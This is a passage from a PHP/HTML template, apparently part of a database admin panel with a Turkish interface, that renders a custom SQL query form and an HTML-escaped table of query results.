          <div class="alert error"><i class="fas fa-triangle-exclamation"></i> <?= htmlspecialchars($dbQueryError) ?></div>
        <?php endif; ?>
        <div class="card" style="padding:15px;">
          <form method="POST" action="?mode=db<?= !empty($dbCurrentTable) ? '&table='.urlencode($dbCurrentTable) : '' ?>">
            <div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:10px;">
              <span style="font-weight:600; color:var(--text-muted);"><i class="fas fa-code"></i> SQL Query</span>
              <button type="submit" class="btn primary"><i class="fas fa-play"></i> Çalıştır</button>
            </div>
            <textarea name="custom_query" class="sql-textarea" placeholder="SELECT * FROM table_name WHERE id = 1..."><?= htmlspecialchars($dbCustomQuery) ?></textarea>
          </form>
        </div>
        <?php if ($dbResult !== null): ?>
        <div class="card sql-result">
          <?php if (count($dbResult) > 0): ?>
            <div style="padding:15px; border-bottom:1px solid var(--border); font-weight:600; color:var(--text-muted);">
              Dönen Satır: <?= count($dbResult) ?>
            </div>
            <table>
              <thead>
                <tr>
                  <?php foreach (array_keys($dbResult[0]) as $col): ?>
                    <th><?= htmlspecialchars($col) ?></th>
                  <?php endforeach; ?>
                </tr>
              </thead>
              <tbody>
                <?php foreach ($dbResult as $row): ?>
                  <tr>
                    <?php foreach ($row as $val): ?>
                      <td>
                        <?php 
                          if ($val === null) echo '<em style="color:#6b7280">NULL</em>';
                          else {
                            $out = htmlspecialchars((string)$val);
                            if (strlen($out) > 100) $out = substr($out, 0, 100) . '...';
                            echo $out;
                          }
                        ?>
                      </td>
                    <?php endforeach; ?>
                  </tr>
                <?php endforeach; ?>
              </tbody>
            </table>
          <?php else: ?>
            <div style="padding:30px; text-align:center; color:var(--text-muted);">Tablo boş veya sonuç dönmedi.</div>
          <?php endif; ?>
        </div>
        <?php endif; ?>
      </div>
    </div>
  <?php endif; ?>
<?php endif; ?>
</div>
</body>
</html>

Vazgeç